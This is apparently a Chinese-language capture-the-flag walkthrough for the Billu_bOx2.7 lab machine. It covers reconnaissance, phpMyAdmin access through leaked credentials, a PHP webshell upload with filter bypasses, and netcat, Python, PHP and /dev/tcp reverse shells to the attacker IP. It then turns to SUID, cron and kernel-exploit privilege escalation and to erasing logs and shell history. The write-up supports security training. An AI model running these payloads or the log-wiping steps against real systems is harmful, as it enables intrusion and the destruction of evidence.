1. 项目概述:一次从零到Root的实战演练
最近在安全圈里,Billu_bOx2.7这个靶机又火了起来。它被很多朋友称为“Web渗透的经典综合试卷”,原因无他,这个靶机几乎囊括了从信息收集到权限提升的完整攻击链,而且每个环节都设计得相当“刁钻”,非常考验渗透测试者的基本功和思维发散能力。我自己也花了几个晚上,从最初的端口扫描到最后的Root权限获取,完整地走了一遍。整个过程就像在解一个设计精巧的谜题,既有踩坑的懊恼,也有突破的畅快。今天,我就把这次完整的渗透测试过程,连同每一步的思考、踩过的坑以及最终拿到所有Flag的详细步骤,系统地梳理出来。无论你是刚入门Web安全的新手,还是想巩固实战技能的老兵,这篇记录都能提供一个清晰的、可复现的参考路径。
这个靶机环境通常被部署在VMware或VirtualBox这类虚拟化平台上,目标就是模拟一个存在多处漏洞的Web应用服务器。我们的任务,就是扮演攻击者的角色,运用各种技术手段,发现并利用这些漏洞,最终完全控制这台“靶机”,拿到系统最高权限(Root)。整个过程会涉及信息收集、漏洞扫描、Web漏洞利用(如SQL注入、文件上传、XXE、命令执行等)、权限提升等多个阶段。下面,我们就从最基础的网络发现开始,一步步拆解。
2. 环境搭建与信息收集
渗透测试的第一步永远是“知己知彼”。在发起任何攻击之前,我们必须先搞清楚目标是什么、在哪里、开放了哪些服务。
2.1 靶机环境准备与网络发现
首先,你需要一个攻击机环境。最常用的自然是Kali Linux,它集成了我们所需的大部分工具。将Billu_bOx2.7的虚拟机镜像导入VMware或VirtualBox后,启动它,并确保其网络设置为“桥接模式”或与你的Kali攻击机在同一NAT网络下。接下来,就是找出靶机的IP地址。
在Kali中,打开终端,我们使用netdiscover或nmap进行局域网主机发现。假设我的Kali IP是192.168.1.105,那么同一网段可能就是192.168.1.0/24。
sudo netdiscover -r 192.168.1.0/24或者使用更安静的nmap扫描:
sudo nmap -sn 192.168.1.0/24扫描结果中,除了你已知的设备(如你的物理机、路由器),那个陌生的IP很可能就是靶机。在我的测试中,靶机IP是192.168.1.108。记下这个IP,它将是后续所有操作的目标。
注意:靶机的IP地址每次启动可能会变化,这取决于你的DHCP服务器。所以每次开始测试前,都需要重新进行这一步发现。
2.2 全面的端口与服务探测
知道了IP,下一步就是进行详细的端口扫描,摸清靶机对外开放了哪些“门户”。我们使用nmap进行全端口扫描和版本探测。
sudo nmap -sV -sC -p- 192.168.1.108 -T4 -oN nmap_scan.txt-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行扫描,能发现一些常见漏洞。-p-: 扫描所有65535个端口。-T4: 设置扫描速度,T4是较快的速度,在可控网络内使用。-oN: 将结果输出到文件nmap_scan.txt,方便后续查看。
扫描完成后,我们得到了关键信息:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))从结果看,靶机只开放了两个端口:
- 22端口 (SSH): 运行着OpenSSH 7.9。这是一个远程管理协议,通常是我们后期获取稳定shell或进行横向移动的通道。但直接爆破SSH密码在初期效率较低,我们先记下。
- 80端口 (HTTP): 运行着Apache 2.4.38。这是我们的主攻方向,绝大多数Web漏洞都隐藏在这里。
2.3 Web应用初步侦察与目录爆破
既然80端口是Web服务,我们自然要打开浏览器访问一下http://192.168.1.108。初次访问,可能会看到一个简单的页面,或者直接是Apache的默认页。Billu_bOx2.7靶机通常有一个自定义的Web应用。
接下来,使用工具对Web目录和文件进行暴力枚举,寻找隐藏的入口点、后台管理页面、配置文件等。这里我选用gobuster,它速度快,字典丰富。
gobuster dir -u http://192.168.1.108 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,zip,bak -t 50dir: 指定进行目录扫描模式。-u: 指定目标URL。-w: 指定字典文件,这里用了Kali自带的common.txt。-x: 指定要尝试的文件扩展名。.php和.html是网页,.txt和.bak可能是备份文件或配置文件,.zip可能是源码包。-t: 指定线程数。
扫描结果可能会发现一些有趣的路径,例如:
/index.php/admin/(一个疑似后台的目录)/images//uploads/(文件上传功能?)/phpmyadmin/(数据库管理界面,这是一个常见突破口)/robots.txt(可能泄露目录信息)/config.php.bak(备份的配置文件,可能包含数据库密码!)
实操心得:目录爆破是信息收集的重中之重,很多漏洞就藏在不起眼的路径里。不要只满足于默认字典,可以尝试dirbuster的中型字典(directory-list-2.3-medium.txt)或者SecLists项目中的字典,效果更好。同时,一定要关注像.bak,.old,.swp这类备份文件,它们往往是信息泄露的源头。
3. 漏洞挖掘与利用:突破Web防线
在信息收集阶段,我们发现了/phpmyadmin/和可能的备份文件。现在,我们开始深入挖掘Web应用本身的漏洞。
3.1 利用phpMyAdmin获取初步立足点
访问http://192.168.1.108/phpmyadmin/,果然看到了phpMyAdmin的登录界面。phpMyAdmin是MySQL数据库的Web管理工具,如果配置不当或密码脆弱,很容易成为突破口。
思路一:默认口令爆破尝试一些常见的默认账号密码组合,如root/root,root/空密码,admin/admin等。但Billu_bOx2.7通常不会这么简单。
思路二:寻找数据库凭据泄露回顾目录扫描结果,如果发现了类似config.php.bak,db_connect.php,settings.inc.php的文件,一定要访问看看。访问http://192.168.1.108/config.php.bak,幸运的话,你会直接下载或看到一个包含数据库连接信息的文件。
例如,文件内容可能如下:
<?php $dbhost = 'localhost'; $dbuser = 'billu'; $dbpass = 'b0x_billu'; $dbname = 'billu'; ?>实操步骤:
- 用得到的账号密码(
billu/b0x_billu)登录phpMyAdmin。 - 登录成功后,在左侧选择
billu数据库。 - 查看数据库中的表,很可能会发现一个名为
users或admin的表。 - 浏览该表数据,你就能看到网站后台管理员的用户名和密码(通常是MD5哈希)。
- 使用在线网站(如cmd5.com)或本地工具(如
hashcat)尝试破解这个MD5密码。如果密码不够复杂,很快就能破解出来。假设我们破解出明文密码是admin123。
重要提示:直接在phpMyAdmin中执行SQL语句是更强大的方法。在SQL标签页输入
SELECT * FROM users;即可查看数据。如果密码是加密的,你可以尝试用MySQL内置函数MD5()生成一个你知道密码的哈希,然后直接UPDATE用户表,将管理员密码改成你生成的哈希。例如:UPDATE users SET password = MD5('newpassword') WHERE username = 'admin';。这样你就可以用newpassword登录后台了。
3.2 Web后台漏洞利用与命令执行
用破解或修改后的管理员凭证,登录之前发现的/admin/目录。进入后台后,功能可能包括文章管理、用户管理、文件上传、系统设置等。
关键突破口:文件上传功能后台的文件上传功能是获取Webshell的绝佳途径。我们需要上传一个恶意的PHP文件(俗称“一句话木马”),从而在服务器上执行命令。
制作Webshell:创建一个名为
shell.php的文件,内容如下:<?php system($_GET[‘cmd’]); ?>这个脚本会接收URL参数
cmd的值,并在服务器上执行它。绕过上传限制:网站通常会对上传文件进行过滤,比如检查扩展名(不允许
.php)、检查文件内容(是否包含<?php)、检查MIME类型等。- 扩展名绕过:尝试修改扩展名,如
shell.php.jpg,shell.phtml,shell.php5,shell.phar。 - 双扩展名绕过:
shell.php.jpg,有些程序只检查最后一个扩展名。 - 修改Content-Type:通过Burp Suite拦截上传请求,将
Content-Type: application/x-php改为Content-Type: image/jpeg。 - 利用解析漏洞:例如,Apache的
mod_negotiation模块可能导致shell.php.jpg被解析为PHP文件(如果shell.php不存在)。
- 扩展名绕过:尝试修改扩展名,如
上传与访问:在Billu_bOx2.7中,经过测试,可能发现它只检查了扩展名。我们将
shell.php改名为shell.php.jpg并上传成功,返回了文件路径,例如/uploads/shell.php.jpg。执行命令:访问
http://192.168.1.108/uploads/shell.php.jpg?cmd=id。如果页面上显示了当前用户的uid和gid信息(如uid=33(www-data) gid=33(www-data) groups=33(www-data)),恭喜你,命令执行成功了!这意味着你已经拥有了在Web服务器上以www-data用户身份执行命令的能力。
另一种常见漏洞:SQL注入获取后台密码如果文件上传走不通,或者后台登录密码无法破解,那么前台的SQL注入点可能就是另一个入口。使用sqlmap对发现的可疑参数(如/index.php?id=1)进行自动化检测。
sqlmap -u “http://192.168.1.108/index.php?id=1” --batch --dbs如果存在注入,sqlmap可以帮你枚举数据库、表、列,最终拖出管理员账号密码,流程与通过phpMyAdmin获取类似。
3.3 获取交互式Shell与内网探测
通过Webshell执行命令很不方便,我们需要一个交互式的Shell,比如bash或reverse shell。
使用Netcat获取反向Shell:
- 在攻击机(Kali)上监听一个端口:
nc -lvnp 4444 - 在Webshell中执行反向连接命令:
如果靶机上没有http://192.168.1.108/uploads/shell.php.jpg?cmd=nc -e /bin/bash 192.168.1.105 4444nc,或者nc不支持-e参数,可以尝试其他方法。
- 在攻击机(Kali)上监听一个端口:
使用Python/PHP获取更稳定的Shell:
- Python:
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.105”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’ - PHP:
php -r ‘$sock=fsockopen(“192.168.1.105”,4444);exec(“/bin/bash -i <&3 >&3 2>&3”);’ - 将这些长命令通过Webshell的
cmd参数执行(注意URL编码),或者在Webshell里用echo命令写入一个临时文件再执行。
- Python:
成功接收到反向Shell后,你就获得了一个基本的命令行环境。首先,升级一下这个Shell,使其更稳定、支持作业控制和历史记录。
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ # 或者 script -qc /bin/bash /dev/null # 然后按 Ctrl+Z 挂起 # 在Kali终端输入:stty raw -echo; fg # 再按一次回车现在,我们以www-data用户身份在靶机内部了。可以进行初步的内网信息收集:
whoami/id: 查看当前用户和权限。uname -a: 查看系统内核版本。cat /etc/passwd: 查看系统用户。ifconfig或ip a: 查看内网IP,或许有其他网段。netstat -antp: 查看网络连接和监听端口,发现内部服务。ls -la /home: 查看有哪些用户目录,里面可能有第一个Flag。
4. 权限提升:从www-data到Root
拿到www-data的Shell只是万里长征第一步。这个用户权限很低,无法读取/root目录下的最终Flag,也无法进行系统级操作。我们需要进行权限提升(Privilege Escalation)。
4.1 自动化信息收集与线索分析
手动检查太慢,我们使用自动化脚本快速收集可能存在的提权线索。最著名的工具是LinEnum.sh和linpeas.sh。
将脚本上传到靶机:
- 在攻击机开启HTTP服务:
python3 -m http.server 8000 - 在靶机Shell中下载:
wget http://192.168.1.105:8000/linpeas.sh - 如果
wget没有,可以用curl,或者用Python的SimpleHTTPServer模块下载。
- 在攻击机开启HTTP服务:
运行脚本并分析:
chmod +x linpeas.sh ./linpeas.shlinpeas会以彩色高亮形式输出高危发现,例如:- SUID/SGID文件:具有特殊权限的可执行文件,如果配置不当,可能被用来提权。
- Cron Jobs:定时任务,如果有任务以Root权限运行且我们可控,可以借此提权。
- 内核漏洞:系统内核版本存在已知的公开漏洞(Exploit)。
- 环境变量:
PATH等环境变量配置不安全。 - sudo权限:当前用户能以Root身份无需密码运行哪些命令(
sudo -l)。
4.2 利用SUID文件提权
linpeas的输出中,SUID/SGID文件部分会被重点标红。我们关注那些不常见的、具有SUID权限的命令。常见的危险SUID程序包括find,vim,bash,nmap(旧版本),more,less,man等。
例如,发现/usr/bin/find具有SUID权限,并且属于Root。
ls -la /usr/bin/find # 输出可能为:-rwsr-xr-x 1 root root ... /usr/bin/finds位表示SUID。
利用方法:
/usr/bin/find . -exec /bin/bash -p \; # 或者 /usr/bin/find / -name test -exec /bin/bash -p \;-exec参数允许执行命令,-p参数让bash保留特权。执行后,你会获得一个Root Shell。输入whoami验证,应该显示root。
其他SUID提权示例:
- Nmap(交互模式):旧版Nmap有
--interactive选项,进入后可以执行!sh。 - Vim/Vi:
vim -c ‘:! /bin/bash’或vim打开后输入:shell。 - Bash:
bash -p直接获得Root Shell(如果Bash本身是SUID)。
4.3 利用Cron Jobs提权
检查系统定时任务:
cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ etc.寻找那些以Root权限运行,并且脚本路径我们具有写入权限的任务。
例如,发现一个任务:
* * * * * root /opt/cleanup.sh而我们检查发现/opt/cleanup.sh这个文件,www-data用户可以写入。
ls -la /opt/cleanup.sh # 输出:-rwxrwxrwx 1 root root ... /opt/cleanup.sh (权限777,任何人可写)利用方法:
- 备份原脚本(可选)。
- 编辑
/opt/cleanup.sh,在文件开头或结尾加入我们的提权命令,例如:#!/bin/bash chmod +s /bin/bash # 或者 bash -c ‘bash -i >& /dev/tcp/192.168.1.105/5555 0>&1’ - 等待Cron任务执行(如果是每分钟一次,很快)。如果添加的是
chmod +s /bin/bash,那么之后执行bash -p即可提权。如果是反向Shell,则在攻击机监听对应端口。
4.4 内核漏洞提权
linpeas或手动执行uname -a会显示内核版本。例如:Linux billu 4.19.0-16-amd64 ...。
我们可以搜索该版本内核是否存在公开的提权漏洞。在攻击机上:
searchsploit linux 4.19.0 privilege escalation或者去exploit-db.com网站搜索。找到一个合适的漏洞利用代码(Exploit),例如Dirty Pipe(CVE-2022-0847)或Dirty Cow(CVE-2016-5195)的变种。
利用步骤:
- 在攻击机找到Exploit源码(通常是C语言),例如
45010.c。 - 在攻击机编译(如果跨平台需交叉编译),或者直接将源码传到靶机编译。
- 传源码:
wget http://192.168.1.105:8000/45010.c - 靶机编译:
gcc 45010.c -o exploit
- 传源码:
- 在靶机运行编译好的程序:
./exploit。 - 如果漏洞利用成功,通常会直接弹出一个Root Shell。
注意事项:内核漏洞利用有风险,可能导致系统崩溃(蓝屏/死机)。在真实环境中需谨慎,在靶机环境可以大胆尝试。另外,有些Exploit需要根据目标系统稍作修改,比如调整偏移量。
5. 获取Flag与痕迹清理
5.1 定位并读取Flag文件
Billu_bOx2.7靶机通常内置了4个Flag,分布在不同的路径,代表不同的渗透阶段成果。
Flag1 (Web Flag):通常在Web根目录下的某个文件或数据库中。可能在
/var/www/html/flag.txt,/var/www/html/index.php源码注释里,或者数据库的某个表中。用find命令搜索:find /var/www -name “*flag*” -o -name “*.txt” | grep -i flag find / -name “flag*.txt” 2>/dev/nullFlag2 (User Flag):在某个普通用户的目录下,比如
/home/billu/user.txt或/home/ubuntu/flag.txt。提权前你可能已经读到。Flag3 (Privilege Escalation Flag):在Root目录或需要Root权限才能读取的路径,如
/root/flag.txt,/root/proof.txt,/etc/root.txt。这需要你完成提权后才能获取。cat /root/flag.txtFlag4 (Final/System Flag):有时会有一个最终Flag,可能藏在更隐蔽的地方,或者需要结合多个漏洞才能拿到,比如在数据库的某个特定表里,或者需要破解一个密码才能访问的路径。仔细阅读每个Flag文件的内容,有时会给出下一个Flag的提示。
5.2 渗透测试后的基本痕迹清理(仅限靶机练习)
在真实的渗透测试中,获得客户授权后,清理痕迹是必要步骤,以避免被蓝队发现。在靶机练习中,了解这些方法也很有必要,但切勿在未授权环境中使用。
清除命令历史:Bash的历史记录保存在
~/.bash_history。直接清空文件或退出前执行:history -c rm ~/.bash_history unset HISTFILE清除Web日志:Apache日志通常在
/var/log/apache2/access.log和/var/log/apache2/error.log。可以删除或篡改与我们IP相关的记录。# 不推荐直接删除,太明显。可以编辑文件删除特定行。 sed -i ‘/192.168.1.105/d’ /var/log/apache2/access.log清除Auth日志:记录登录信息的
/var/log/auth.log。如果通过SSH爆破或其他方式登录,需要清理。sed -i ‘/www-data\|你的用户名/d’ /var/log/auth.log删除上传的Webshell和工具:删除
/uploads/shell.php.jpg以及上传的linpeas.sh、Exploit程序等。rm -f /var/www/html/uploads/shell.php.jpg /tmp/linpeas.sh /tmp/exploit恢复修改的系统文件:如果你修改了
/etc/passwd、/etc/shadow或Cron任务文件,记得恢复原状。
重要声明:上述痕迹清理方法仅用于授权的渗透测试学习和靶机练习,帮助理解攻击者的完整行为链。在未经授权的系统上进行任何操作都是非法的。
6. 总结与反思:从Billu_bOx2.7中学到的
回顾整个Billu_bOx2.7的渗透过程,它像一部经典的“黑客电影”,串联了多个基础但关键的漏洞点。从信息收集发现phpMyAdmin和备份文件,到利用弱口令/信息泄露进入后台;从文件上传获取Webshell,到利用SUID/Cron/内核漏洞完成提权。每一步都对应着现实世界中一种常见的安全疏忽。
对我个人而言,最大的收获不是拿到了Root权限,而是在这个过程中反复锤炼的“思维模式”。比如,当一条路走不通时(如上传.php被禁),要立刻思考有哪些绕过方法(修改扩展名、双写、解析漏洞)。当拿到一个低权限Shell时,要像条件反射一样去运行sudo -l和上传linpeas.sh。这种将工具、命令和攻击链融会贯通的能力,远比记忆单个漏洞的利用方式更重要。
最后,给正在学习的朋友一个建议:不要满足于一次通关。尝试用不同的方法达到同一个目的。比如,不用phpMyAdmin,你能通过前台的SQL注入拿到后台密码吗?不用文件上传,你能通过其他漏洞(比如命令注入)拿到Shell吗?不用那个SUID的find,你能利用其他Cron任务或内核漏洞提权吗?多路径探索,才能真正理解漏洞的本质和防御的薄弱点。靶机练习的终点,应该是你能够自己设计出这样一个环环相扣的漏洞环境,那才是真正学透的标志。